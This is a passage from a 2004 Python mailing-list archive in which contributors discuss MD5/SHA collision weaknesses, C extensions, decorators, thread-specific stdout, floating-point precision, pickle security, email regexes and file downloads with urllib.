should be to find collisions in MD5. On the other hand, weaknesses in MD5 have been known for a few years now, so this is not much of a surprise. What this means is that it is possible to create two sequences that produce the same MD5 hash result. The sequences required to produce identical MD5 hashes seem to be meaningless except for the fact that they produce identical MD5 hashes. Likewise, a similar problem has been found for SHA-0. However, SHA-0 was known to be flawed early in the process of developing SHA so it was strengthened to create SHA-1. Extending the attack on SHA-0 to SHA-1 is an open question at this time. In an unrelated development, an attack has been found on a reduced version of SHA-1 using half the usual number of rounds. Again, it is not certain whether the attack is useful on the full version. SHA-1 should still be good for now. What does this mean in general? Well, it depends on what you use MD5 or SHA-1 for. If, all you need to do is check to see if a file transfered from one location to another intact, there probably isn't a rush to to drop MD5 for SHA-1. If your application depends on using MD5 as a one-way encryption for passwords, then you probably should start thinking about migrating to SHA-1. If your application depends on using MD5 or SHA-0 to create keys and initialization vectors for symmetric security, then you might want to worry about possible future discoveries that might reveal a bias. If as a part of your application, you make the claim that you can prove a specific level of security based on the collision avoidance properties of MD5 or SHA-0, then you have a lot more to be concerned about. It should also be mentioned that "broken" in terms of Cryptography is a bit different from how we think about computer security in general. "Broken" in this case means that there exists a known algorithm that makes it easier than a brute force attack to violate one or more of the desired properties for a good hash algorithm. It DOES NOT mean that a practical exploit exists for MD5 that permits one to slip a trojan into downloaded files or crack a password file. There are easier ways to plant a trojan than to create an identical MD5 hash, or crack a password file than to try to break preimage resistance. > Perhaps it would be appropriate to add a note, warning or "See also" > to the library documentation for the md5 and sha modules? I think that it would be a very good idea for MD5. With SHA, I'm less certain about wording however. From what I've been reading on this, SHA seems to be safe for now. -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From tuure at laurinolli.net Wed Sep 22 16:44:07 2004 From: tuure at laurinolli.net (Tuure Laurinolli) Date: Wed, 22 Sep 2004 23:44:07 +0300 Subject: detecting variable types In-Reply-To: <ciskpq$7f2$1@news-int.gatech.edu> References: <cisjhb$6kr$1@news-int.gatech.edu> <Y-WdnWCkPIytTszcRVn-vQ@powergate.ca> <ciskpq$7f2$1@news-int.gatech.edu> Message-ID: <cisnpp$bsa$1@epityr.hut.fi> Jay wrote: > def func(**params): > > # if params[key1] is a single string > # do something with params[key1] > > # if params[key1] is a list of strings > for val in params[key1]: > # do something > > Could you suggest a better way to do this without detecting the type? def func_for_string(astring): pass def func_for_a_list_of_strings(alist): pass Also, top posting is evil. See http://www.cs.tut.fi/~jkorpela/usenet/brox.html From rnichol_rrc at yahoo.com Fri Sep 10 12:50:33 2004 From: rnichol_rrc at yahoo.com (Reid Nichol) Date: Fri, 10 Sep 2004 11:50:33 -0500 Subject: python and bit shifts and byte order, oh my! In-Reply-To: <chrogi$gmk$1@news1.wdf.sap-ag.de> References: <9490d.126$KA1.1800@news1.mts.net> <chrogi$gmk$1@news1.wdf.sap-ag.de> Message-ID: <sWk0d.3$Uo1.23@news1.mts.net> Daniel Dittmar wrote: >> I played with bit shifts on my PC and tried the same thing on a Mac OS >> X machine. They produced the same results, so I would assume that the >> way the bits and how they are interpreted are as in this link: >> >> http://www.khakipants.org/archives/2003/03/bitlevel_input_and_output.html >> >> At least in memory while the interpreter is running. > > > CPUs differ in the way integers are stored in memory. But the shift > operators of the CPU are implemented to work on logical integers in > registers, not on consecutive bytes in memory. > > Daniel I'm wondering because the file format I'm trying to write uses bit-packing, so I need to be able to write, for example, a 5 bit integer to the disk. I do think regardless of language I'm going to have an unfun time doing this. But, since cross platform is a want approching a need, I'd like to use Python. Would getting a specific bit from the integer be the same or would I have to worry about the byte-order? ie Would: x & SOMEBIT be portable? From ad at astral-on.net Fri Sep 24 09:44:08 2004 From: ad at astral-on.net (Andrew Degtiariov) Date: Fri, 24 Sep 2004 16:44:08 +0300 (EEST) Subject: Bulding python module using C Message-ID: <20040924134408.GE99980@astral-on.net> Hello. After some unhappy tries to write own module I attempt to compile noddy3.c from Python-Docs-2.3.4. I build noddy3.so using setup.py (showing bellow) and compilation process pass witout any warning. Bu while i try run test (test.py) it failed with: <attribute 'first' of 'noddy3.Noddy' objects> Traceback (most recent call last): File "test.py", line 6, in ? n.first = 'test' TypeError: can't set attributes of built-in/extension type 'noddy3.Noddy' Where was i wrong? --- Begin of test.py --- import sys import noddy3 n = noddy3.Noddy print n.first n.first = 'test' print n.first sys.exit(0) --- End of test.py --- --- Begin setup.py --- #! /usr/bin/env python import sys from distutils.core import setup, Extension setup( name="noddy3", version="3", author="Primer from python documentation", author_email="XX at python.org", license="unknown", url="http://www.python.org/", ext_modules = [ Extension( "noddy3", ["noddy3.c"], libraries = [ ], ) ] ) --- End of test.py --- -- Andrew Degtiariov DA-RIPE From carribeiro at gmail.com Mon Sep 13 18:36:59 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 19:36:59 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <ci52ar$4kq$1@newsreader.mailgate.org> References: <mailman.3261.1095106220.5135.python-list@python.org> <ci52ar$4kq$1@newsreader.mailgate.org> Message-ID: <864d3709040913153679cd2461@mail.gmail.com> Alberto, On Mon, 13 Sep 2004 23:09:44 +0200, Alberto Santini <as at nospam.org> wrote: > I suggest you > > http://www.scintilla.org/ It's not going to help with my particular problem... because almost *all* editors that I've tried already use Scintilla through various different bindings. In fact, Boa, Eric3, PythonWin *and* DrPython all use it. The only tool that I'm not sure about it is Komodo - but I wouldn't be surprised if it too used Scintilla as the text editor widget. I also have downloaded SciTE and a couple other Scintilla based editors. The problem here is not with the editor -- is with the supporting environment. My app is still in the early stages of programming and already has several different source code files in several directories. Were I using a tool like Delphi, it would be fairly easy to keep track of everything. As I said, it's not that I can't do it otherwise. It's just that I know from my personal experience that a good tool can save a lot of time and add more convenience to the job. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From sysfrog at gmail.com Thu Sep 2 17:32:02 2004 From: sysfrog at gmail.com (Guenther Starnberger) Date: 2 Sep 2004 14:32:02 -0700 Subject: shelve like interface to MySQLdb Message-ID: <ch83gi$tde@odah37.prod.google.com> Hi, > I've done some googling and came up empty. Is there a simple > way to create a shelve like interface to a MySQL table? The > keys would be a direct mapping to the primary key in the table. The only possibility to do this without object-specific (de-)serializers would be to safe the pickled state of the object in the database and this is probably not what you want. I would suggest using an object-relational mapper like SQLObject (http://sqlobject.org/) for this task. cu /gst From aleaxit at yahoo.com Sat Sep 18 04:49:09 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 18 Sep 2004 10:49:09 +0200 Subject: Database->python->Xml->Xslt->Client References: <4c900ea0.0409172237.3e5abf25@posting.google.com> <cigqq6$mnp$1@news-reader5.wanadoo.fr> Message-ID: <1gkb1h7.8azms01gn7bxsN%aleaxit@yahoo.com> Michel Claveau - abstraction m?ta-galactique non triviale en fuite perp?tuelle. <unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom> wrote: > It is an architecture "en vogue" ; but AMHA, XML is verbose. Not any more verbose, typically, than HTML doing the presentation of whatever data the XML is encoding, which I take is the alternative John (the OP) is comparing again (he didn't actually explain the alternative architectures he's considering, but that one would appear to be the default...). If the XML is a high semantic level it can end up quite a bit more compact than the HTML needed for nice presentation, even when you factor out a lot of CSS from the latter to rely on the CSS getting cached. Fashion apart, I do think the proposed architecture may improve performance compared to having the server prepare and send all HTML. It spreads the computational load (if the XML the server is sending is pretty close to the database's content, at least) and may even reduce the bandwidth (often not a key bottleneck in an intranet, particularly these days with gigabit ethernet finally becoming cheap... but sometimes VPNs and the like do extend an intranet over links where bandwidth CAN be a problem!-). Having the server supply raw data and spreading out even more work to the clients would be more of the same, but would require way fatter clients, and that carries its own set of issues. What the OP described can be done easily by decent browsers, today, with no need for fat clients and all of their many issues. Alex From __peter__ at web.de Thu Sep 16 04:59:12 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 16 Sep 2004 10:59:12 +0200 Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change Message-ID: <cibkl1$395$07$1@news.t-online.com> I took the freedom to forward GvR's mail concerning decorator cosmetics. I think you should know about it. Peter ---------- Forwarded Message ---------- Subject: [Python-Dev] Strawman decision: @decorator won't change Date: Wednesday 15 September 2004 23:46 From: Guido van Rossum <gvanrossum at gmail.com> To: Python-Dev <python-dev at python.org> Anthony Baxter asked me for a pronouncement on whether @decorator will change to use some other character instead; I kept this open as a possibility before 2.4b1 (which is tentatively scheduled for Oct 7th). Given the near-complete silence following my rejection of the J2 alternative proposal, I don't expect there to be a massive popular movement to change the character, but I admit I haven't looked for responses outside python-dev. Let's plan on doing the following. If in the next 7 days there's no indication that some group of users wants to rally for a different character, the decision to keep @ is made final on Sept 23. To change the character, somebody will need to start rallying for a different character, and be able to show signs of significant support by that date. The definition of "significant support" is intentionally left open for interpretation, I'll review the evidence on the 23rd. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From ben at benlast.com Tue Sep 28 11:58:22 2004 From: ben at benlast.com (Ben Last) Date: Tue, 28 Sep 2004 16:58:22 +0100 Subject: error In-Reply-To: <20040928143917.BE2481E4003@bag.python.org> Message-ID: <HLEGKHKIKMEHENBAEIEPOEEECKAA.ben@benlast.com> > From: python-list-bounces+ben=benlast.com at python.org > [mailto:python-list-bounces+ben=benlast.com at python.org]On Behalf Of > mhammond at nebula.lyra.org > Dear user python-list at python.org, > Your e-mail account was used to send a large amount of junk email > during this week. > Obviously, your computer was compromised and now contains a > hidden proxy server. > We recommend that you follow instruction in order to keep your > computer safe. My computer's been compromised? Nonsense - it's strictly ones and zeroes here. No grey areas. No hint of a compromise of any sort, even if I ask nicely. Anyway, I'm more concerned about your advice to "follow instruction". What instruction? Do you mean the offerings of those ladies who advertise their services in phone boxes... you know, "discipline" or "correction for naughty boys"? I'm sorry; I may be British but I don't go in for that. Or perhaps, by "instruction", you mean that I should find any set of instructions handy. I have some here for putting up Ikea shelving... let's try that... yours impertinently ben From aleaxit at yahoo.com Fri Sep 17 13:57:54 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 19:57:54 +0200 Subject: Small inconsistency between string.split and "".split References: <mailman.3241.1095094663.5135.python-list@python.org> <LJSdnepvP_vbSdjcRVn-hg@powergate.ca> <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> <864d370904091311095be3e08c@mail.gmail.com> <4146C179.5000404@livinglogic.de> <mailman.3311.1095172226.5135.python-list@python.org> <1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com> <m3oek56poq.fsf@pc150.maths.bris.ac.uk> <1gk9iql.flx09uik62nkN%aleaxit@yahoo.com> <m3fz5h6mr0.fsf@pc150.maths.bris.ac.uk> Message-ID: <1gk9whe.1umi28e4pkmjaN%aleaxit@yahoo.com> Michael Hudson <mwh at python.net> wrote: ... > > Right; it could be remedied by letting a macro otherwise equivalent to > > METH_O know about that one argument's name. > > But... how? I guess the PyMethodDef struct could grow an ml_signature > field... wouldn't it be nice if you could do: Right, something like that. As long as we need backwards compatibility (==all the way to 3.0) that needs to be handled with care, of course... > > static PyObject* > foo(PyObject* ob, int index) > { > ...; > } > > PyMethodDef methods[] = { > {"foo", foo, "O[ob]i[index]", "docstring"}, > {NULL, NULL} > } > > ? Even nicer if you didn't have to write the signature by hand. > > Unfortunately, I don't think you can do this in standard C. I don't think so, either -- unless you put macros in TWO places, perhaps: DEF_PYFUN(foo, (PyObject* ob, int index)) { ... } PyMethodDef methods[] = { REF_PYFUN(foo, "docstring"), {0} }; This, I suspect, might be possible, with DEF_PYFUN stashing the sig string someplace (e.g. in a __def_pyfun__foo global) and REF_PYFUN pulling out a reference to it... > > nothing strange, and all correct, it seems to me. > > Cool. I should use pyrex more, I suspect. Me too, I suspect -- it's really a cool way to write extensions for Python. Alex From deetsNOSPAM at web.de Wed Sep 15 17:14:47 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 15 Sep 2004 23:14:47 +0200 Subject: thread specific sys.stdout? References: <opsedyrils6yt6e7@news.cisco.com> Message-ID: <ciabc0$seb$00$2@news.t-online.com> aurora wrote: > This may sound a little crazy. I capture the output of one class by > redirecting the sys.stdout. However the is another threading running at > the same time and occasionaly it output some messages to the redirected > sys.stdout irreleveant to the output I want to capture. Is there a way to > redirect output specific to some threads? You could replace sys.stdout by a class that splits the written text depending on the current thread. It might look roughly like this: class ThreadPrinter: def __init__(self): _.fhs = {} def write(self, value): f = _.fhs.get(threading.currentThread(), open(get_some_nice_file_name(), "w") f.write(value) _.fhs[threading.currentThread()] = f Now before starting your threads, replace sys.stdout with an instance of ThreadPrinter: sys.stdout = ThreadPrinter() -- Regards, Diez B. Roggisch From __peter__ at web.de Mon Sep 20 10:24:58 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 20 Sep 2004 16:24:58 +0200 Subject: Inheritance question References: <eaB3d.12433$pA.483376@news20.bellglobal.com> Message-ID: <cimp7q$tlk$01$1@news.t-online.com> Yannick Turgeon wrote: > is there a way that I could change my class A to something like: > > class A: > _value > __init__(self, value): > self._value = value > if value > 10: > set myself as an instance of B1 # How can I do that? > else: > set myself as an instance of B2 > > in the real situation "value" is encoded and the way to know what kind of > A it is, is more complex than just look at the value. [Requires newstyle classes] >>> class A(object): ... def __new__(cls, value): ... if value > 10: ... return super(cls, A).__new__(B1, value) ... else: ... return super(cls, A).__new__(B2, value) ... def __init__(self, value): ... self._value = value ... >>> class B1(A): ... def doPrint(self): ... print "B1:", self._value ... >>> class B2(A): ... def doPrint(self): ... print "B2:", self._value ... >>> A(1).doPrint() B2: 1 >>> A(100).doPrint() B1: 100 You can do it, but it's certainly bad design because A has to know all its subclasses. If you go with the above I recommend that you use some kind of registry instead of hardcoding the subclasses in A.__new__(). Peter From jsaker at americanrelay.com Wed Sep 22 08:38:40 2004 From: jsaker at americanrelay.com (James R. Saker Jr.) Date: Wed, 22 Sep 2004 07:38:40 -0500 Subject: ThreadingUDPSocketServer drop/reject? Message-ID: <1095856719.19540.31.camel@localhost> Been digging into this one in Python docs and Beazley's Essential Reference but I must be missing something. I need a UDP server for my syslog collector app (preferably threaded for concurrency) to drop or reject UDP client requests based on source IP validation. Most of the google results I've seen show either authentication via upper layer protocol (e.g. TLS, which won't work for old syslog devices) or refer to using xinetd, /etc/hosts.allow external configurations (which puts control elsewhere and a bit further from my little app). Following ThreadingUDPServer's class inheritance up to BaseServer, I would believe I'd need to override get_request() with a method that evaluates the source IP (e.g. vs. a list[] ) and if address not in list, then close_request(). Any thoughts on the approach here? Jamie From tjreedy at udel.edu Wed Sep 22 02:41:33 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 22 Sep 2004 02:41:33 -0400 Subject: Floating-point glitches with the math module. Bug? Or am Imissing something? References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net><20040921000356.GA2641@unpythonic.net> <1f7befae040920235213950f17@mail.gmail.com> Message-ID: <cir6r2$7vn$1@sea.gmane.org> "Tim Peters" <tim.peters at gmail.com> wrote in message news:1f7befae040920235213950f17 at mail.gmail.com... > This isn't the fault of sloppy trig functions, it's an unavoidable > consequence of using finite precision arithmetic to evaluate a > function *near* a local minimum or local maximum. cos() has a local > maximum at cos(0), and d is near 0. For any reasonable function f > evaluated at point a such that f(a) is a local min or max, the first > derivative of f at a is 0. Therefore f(a+h) ~= f(a) + h**2*f''(a)/2 > (the first-order term of the Taylor expansion around a vanishes). > That in turn roughly means that if you change any of the bits in the > least significant half of a, it makes no visible difference to the > computed value of f(a). To illustrate: >>> for i in range(50): print `cos(i*1e-9)` # Windows, 2.2 ... 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0 0.99999999999999989 0.99999999999999989 0.99999999999999989 0.99999999999999989 0.99999999999999989 0.99999999999999989 0.99999999999999989 0.99999999999999989 0.99999999999999978 0.99999999999999978 0.99999999999999978 0.99999999999999978 0.99999999999999978 0.99999999999999967 0.99999999999999967 0.99999999999999967 0.99999999999999967 0.99999999999999956 0.99999999999999956 0.99999999999999956 0.99999999999999956 0.99999999999999944 0.99999999999999944 0.99999999999999944 0.99999999999999933 0.99999999999999933 0.99999999999999933 0.99999999999999922 0.99999999999999922 0.99999999999999922 0.99999999999999911 0.99999999999999911 0.99999999999999911 0.999999999999999 0.999999999999999 0.99999999999999889 0.99999999999999889 0.99999999999999889 0.99999999999999878 The mathematically smooth cos(x) is effectively a stairstep function for |x|<5e-8. Stairsteps are hard to invert ;-). Terry J. Reedy From bradtilley at usa.net Wed Sep 15 14:30:06 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 14:30:06 -0400 Subject: See exactly what a function has returned In-Reply-To: <roy-40BD1F.14035715092004@reader1.panix.com> References: <ci9tfk$71t$1@solaris.cc.vt.edu> <roy-40BD1F.14035715092004@reader1.panix.com> Message-ID: <41488A2E.6090404@usa.net> Roy Smith wrote: > In article <ci9tfk$71t$1 at solaris.cc.vt.edu>, > Brad Tilley <bradtilley at usa.net> wrote: > > >>Is there an easier way to do this: >> >>def print_whats_returned(function): >> print function >> print type(function) > > > In the general case, this is not possible. A function can return > different things at different times. Consider the following function: > > def getSomething (): > if random.random () < 0.5: > return 42 > else: > return "fourty-two" > > so what type would you say this returns? Depends on what randon.random came up with. Either way, we'd know what the function returned and what type it was... and that's all I want to know. From jepler at unpythonic.net Wed Sep 8 16:29:48 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 8 Sep 2004 15:29:48 -0500 Subject: %a format In-Reply-To: <20040907182925.GA27643@grulic.org.ar> References: <20040907182925.GA27643@grulic.org.ar> Message-ID: <20040908202948.GC19306@unpythonic.net> # This file is in the public domain import random,math, struct def hexf(d): q, = struct.unpack("Q", struct.pack("d", d)) man = q & 0xfffffffffffff sgn = ["", "-"][q >> 63] bexp = (q >> 52) & 0x7ff exp = bexp - 0x3ff esgn = ["+", "-"][exp < 0] if bexp == 0x7ff: # SNan, QNan, or infinity return str(d) elif bexp == 0x0: # Denormal or zero if not man: return "%s0X0P0" % sgn imp = 1l<<52 exp += 1 while not man & imp: man <<= 1 exp -= 1 else: man = man + (1l<<52) hman = hex(man)[2:-1] hman = hman.rstrip("0") if len(hman) == 1: return "%s0X%sP%d" % (sgn, hman, exp) else: return "%s0X%s.%sP%d" % (sgn, hman[0], hman[1:], exp) def test(): inf = float("inf"); ninf = -inf nan = float("nan"); nnan = -nan pairs = [ (0, "0X0P0"), (-1.*0, "-0X0P0"), (1, "0X1P0"), (.5, "0X1P-1"), (2, "0X1P1"), (1.5, "0X1.8P0"), (2.**10, "0X1P10"), (2.**-10, "0X1P-10"), (2.**-320, "0X1P-320"), (2.**-1024, "0X1P-1024"), (2.**-1060, "0X1P-1060"), (2.**1020, "0X1P1020"), (-1, "-0X1P0"), (-.5, "-0X1P-1"), (1-2.**-53, "0X1.FFFFFFFFFFFFFP-1"), (-2, "-0X1P1"), (-1.5, "-0X1.8P0"), (-2.**10, "-0X1P10"), (-2.**-10, "-0X1P-10"), (-2.**-320, "-0X1P-320"), (-2.**-1024, "-0X1P-1024"), (-2.**-1060, "-0X1P-1060"), (-2.**1020, "-0X1P1020"), (-(1-2.**-53), "-0X1.FFFFFFFFFFFFFP-1"), (inf, str(inf)), (ninf, str(ninf)), (nan, str(nan)), (nnan, str(nnan)), ] success = 0 for f, s in pairs: t = hexf(f) print repr(f), t if t != s: print "FAIL", f, s, t else: success += 1 if success == len(pairs): print "SUCCESS", success if __name__ == '__main__': test() -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/95d1559f/attachment.sig> From jbrandmeyer at earthlink.net Sat Sep 11 16:06:57 2004 From: jbrandmeyer at earthlink.net (Jonathan Brandmeyer) Date: Sat, 11 Sep 2004 16:06:57 -0400 Subject: troubleshooting multiple inheritance errors Message-ID: <1094933217.1039.15.camel@illuvatar> I am attempting to create a class that inherits from a PyGTK class and a Boost.Python-based class. When the interpreter executes code like: class Myclass( gtk.some_class, my_boost_python_class): I get the exception: TypeError: multiple bases have instance lay-out conflict According to the great Google, in most cases that exception was due to a conflict with multiple base classes defining the member __slots__ at class scope. As far as I can tell, neither of the parent classes (or any of their parents) contains such a member, as evidenced by the fact that for each parent, class_type.__dict__['__slots__'] produces a KeyError. I'm not sure how to continue debugging this problem. What other kinds of things can lead to this error? Thanks for your help, Jonathan Brandmeyer From jerf at jerf.org Sun Sep 19 21:11:55 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Mon, 20 Sep 2004 01:11:55 GMT Subject: PyYaml? References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <l3c3d.1327$HH5.1125@trndny05> <uy8j6pdpp.fsf@yahoo.co.uk> <Gxo3d.4218$4j1.3425@trndny06> Message-ID: <pan.2004.09.20.22.20.06.894568@jerf.org> On Sun, 19 Sep 2004 23:23:18 +0000, Chris S. wrote: > I don't quite follow your logic. If you load a serialized file, you should > conceivably already know what classes it should and should not be > instantiating, and be able to restrict its access accordingly. In theory, yes. In Java, yes, I would imagine. In Python, not so far. In fact, note that Bastion and RExec have been removed from modern Pythons because they were false assurances. Securing Pickle is probably the same problem as re-writing those modules to work in modern Python. People more familiar with the internals can give more details about that, though I'd google the Python dev list before asking anyone. It is probably not theoretically impossible to add this to Python but it is surprisingly difficult; it is the sort of thing you have to design into the language from day one and even then it is hard. > I meant language and platform portability. I suppose you'd find this > aspect attractive for the same reasons you'd use XML, which some have also > used as a serialization format. Granted, not every languages' objects may > be translatable, but many languages share common data primitives. You'd be surprised, if you actually tried. (This is technically off-topic, not directly about Pickle.) A data type is basically a range of values, and a set of operations on it that returns some value. So, C has this thing called an "int", right? Surely Python has it too. But, technically, it doesn't. Compare (this is "test.cpp"): #include <iostream> int main() { int a = 1073741824; std::cout << a * 4 << std::endl; return 0; } >> g++ test.cpp >> a.out 0 with: >> python -c "print 1073741824 * 4" 4294967296 Python and C do *not* have the same int "datatype". This matters when you go to serialize 2 ^ 43 and the resulting number works in Python but has some random looking value in C++. If you really get down to it, languages share far fewer datatypes than you'd think, and while the ten-mile-high view says "Oh, that shouldn't matter", I assure you, if you actually got into trying to design an actual serialization protocol you'd rapidly find it matters. From carl.scharenberg at gmail.com Wed Sep 22 15:25:07 2004 From: carl.scharenberg at gmail.com (Carl Scharenberg) Date: 22 Sep 2004 12:25:07 -0700 Subject: OT: regex to find email References: <mailman.3647.1095778995.5135.python-list@python.org> <slrncl18gl.s1l.jgrahn-nntq@frailea.sa.invalid> <mailman.3700.1095836232.5135.python-list@python.org> Message-ID: <e930c085.0409221125.25d6cf7f@posting.google.com> "Fredrik Lundh" <fredrik at pythonware.com> wrote in message news:<mailman.3700.1095836232.5135.python-list at python.org>... > Jorgen Grahn wrote: > > > I've seen no references to RFC 2822 in this thread ... please note that what > > all these regexes catch is unlikely to be exactly the set of all valid RFC > > 2822 addresses. > > the perl faq is also required reading: > > http://www.perldoc.com/perl5.6/pod/perlfaq9.html#How-do-I-check-a-valid-mail-address- > > Q. How do I check a valid mail address? > > A. You can't, at least, not in real time. Bummer, eh? > > Without sending mail to the address and seeing whether there's a human > on the other hand to answer you, you cannot determine whether a mail > address is valid. > > what morally sound reasons are there to scrape mail addresses from text > documents, btw? > > </F> Just as an example: I run the mailing list for a dance club that is only active during the academic year. So our first email each September has dozens of bounces from no-longer-valid addresses that need to be removed from the list. I just paste the email containing all the bounce notification text into a file and use a regex to grab all the email addresses into a list and generate the proper removal commands for majordomo. It beats copy-pasting each bad email address individually from the email containing big lists of bounced addresses. Webscrapers suck, though. As soon as I put up a webpage with my email address my spam volume shot way up. I need to replace it with a gif showing my address. Carl From adalke at mindspring.com Tue Sep 21 01:53:27 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 05:53:27 GMT Subject: MAC address In-Reply-To: <mailman.3620.1095739940.5135.python-list@python.org> References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <mailman.3553.1095679406.5135.python-list@python.org> <414efed5$0$60631$a1866201@newsreader.visi.com> <mailman.3613.1095723708.5135.python-list@python.org> <414f7c66$0$60638$a1866201@newsreader.visi.com> <mailman.3616.1095729288.5135.python-list@python.org> <414fa1ec$0$63273$a1866201@newsreader.visi.com> <mailman.3620.1095739940.5135.python-list@python.org> Message-ID: <rlP3d.1275$g42.1134@newsread3.news.pas.earthlink.net> Ajay wrote: > if you use the service say 10 times, then the server can link those 10 > sessions together based on your MAC address. > and the server will be on the same LAN Sure. But if someone's doing that much traffic analysis then other possibilities are: - do you have characteristic use patterns? (eg, check c.l.py every 5 minutes, pull email from your server) - does your machine have characteristic patterns? My Mac and my NT boxes both like telling the network that they are present. Even with file services, iTunes and other services turned off, it would be pretty easy to identify my machine by looking at the headers in an HTML request. (Eg, look at the browser identification string, or see what cookies are sent and match them to previously seen cookies) - after a new machine connects to the network, check if an old machine stop connecting. Even better, since you're talking wireless, see if the new machine has the same signal strength as the one one. - for that matter, someone trying to figure out who people are could use several receivers, or a directional antenna to figure out where you are and just watch you. - does your machine tell the DHCP server a hostname? If so, don't forget to change it when you change your MAC address. If not, are you the only one who doesn't use a name? Andrew dalke at dalkescientific.com From joh12005 at yahoo.fr Wed Sep 8 16:25:34 2004 From: joh12005 at yahoo.fr (Joh) Date: 8 Sep 2004 13:25:34 -0700 Subject: how to build simple FSM using generators ? Message-ID: <63b5e209.0409081225.345ae973@posting.google.com> hello, i've readed "Charming Python: Generator-based state machines" www-106.ibm.com/developerworks/ linux/library/l-pygen.html , but i still can not get the point on how using generator for FSM i'm interested in a very simple FSM which would be able to recognize consecutive sequence of texts, please can someone give me a hint on how to do this using yield ? by now, my fsm is something like, having a "previous state", iterating in a while 1 loop, advancing "previous state" to recognized word and if len(recognized all words) is matched then a sequence had been recognized, whatever else re-init FSM ; but can not understand how could yield help me... thx. From rm at rm.rm Thu Sep 16 21:46:42 2004 From: rm at rm.rm (Radioactive Man) Date: Fri, 17 Sep 2004 01:46:42 GMT Subject: Need script to download file at known address References: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com> <1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com> Message-ID: <qefkk0l390rub20inkfkpn74vb5a8qhdek@4ax.com> On Wed, 15 Sep 2004 17:20:43 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Radioactive Man <rm at rm.rm> wrote: > >> I am fairly new to the latest verion of Python and using it on windows >> 95, 2000, and/or XP. What libraries, modules, functions, etc. would I >> need to set up a Python script to download a file, say >> "htttp://www.sound.com/files/bob.wav" to my own hard drive at >> "c:\sound\bob.wav"? > >Something like: > >import urllib >urllib.urlretrieve( "htttp://www.sound.com/files/bob.wav", > 'c:/sound/bob.wav') > >should be fine. > >> I haven't found any good examples of such an operation in the >> documentation at the Python website. Any suggestions are appreciated. > >http://docs.python.org/lib/module-urllib.html has the docs of >urlretrieve, and it's SO simple that I don't really see what "good >examples" one might provide. A book that by design is full of examples >(hopefully good) is the Python Cookbook, which in the intro to Chapter >10 (Network Programming) gives a slightly richer example which downloads >several files with urllib.urlretrieve. >http://www.python9.org/p9-zadka.ppt may have some useful pointers, >perhaps. > >http://www.experts-exchange.com/Programming/Programming_Languages/Python >/Q_21048439.html has exactly the same question you asked, but you have >to "sign up" to see the solution (always the same one). > > >Alex Thanks to all who replied on this one. I have managed to download, but somehow the file is getting mangled when I save it to my hard drive. Here is the test script I came up with: import urllib f = urllib.urlopen("http://www.python.org/pics/pythonHi.gif") g = f.read() file = open("trash.gif", "w") file.write(g) file.close() The file "trash.gif" is actually saved under "C:\Python23" in the correct format (recognizable to *.gif viewing programs), but is so severely mangled that I can't even recognize it visually. It happens every time, so I do not believe it is a random event. My question here is what am I doing wrong and at what stage is the file getting mangled? I know this method works fine with text files, but for some reason is damaging to binary files. The same result happened when I substituted urllib.urlretrieve() for urllib.urlopen(). From mwh at python.net Tue Sep 7 13:27:47 2004 From: mwh at python.net (Michael Hudson) Date: Tue, 7 Sep 2004 17:27:47 GMT Subject: ANN: WxInter References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net> <pan.2004.09.06.21.23.40.851628@jerf.org> <chk3hp$gqb$1@news-reader3.wanadoo.fr> <WKOdnb_jwesHc6DcRVn-ug@centurytel.net> Message-ID: <m3eklec7l9.fsf@pc150.maths.bris.ac.uk> Ed Suominen <ed-no at spam-eepatents.com> writes: > Good points. The thing to do, IMHO, would be to improve wxWindows/wxPython > to provide the text and canvas widget functionality, and then move with the > WxInter idea to use it as a path for abandoning TkInter. > > I have Tk and OOP experience, and could work on WxInter (all Python) with > the help of others. But the work on wxWindows/wxPython (C++) would have to > be someone else's domain. The wxWidgets project has a bounties page [1]. If > there were enough interest (e.g., by the Python foundation), that might be > a route to get the needed text/canvas functionality. > > Would a PEP be welcomed or opposed on this topic? I'm not sure what you're asking about. A PEP for improving wxWindows or even wxPython would be irrelavent. A PEP for removing Tkinter and replacing it with Wxinter would certainly be necessary, but somewhat premature until Wxinter exists... I'd also expect it to meet some resistance, but that's only a guess (I don't use either and don't care :-). Cheers, mwh -- surely, somewhere, somehow, in the history of computing, at least one manual has been written that you could at least remotely attempt to consider possibly glancing at. -- Adam Rixey From deetsNOSPAM at web.de Thu Sep 16 13:20:28 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Thu, 16 Sep 2004 19:20:28 +0200 Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> 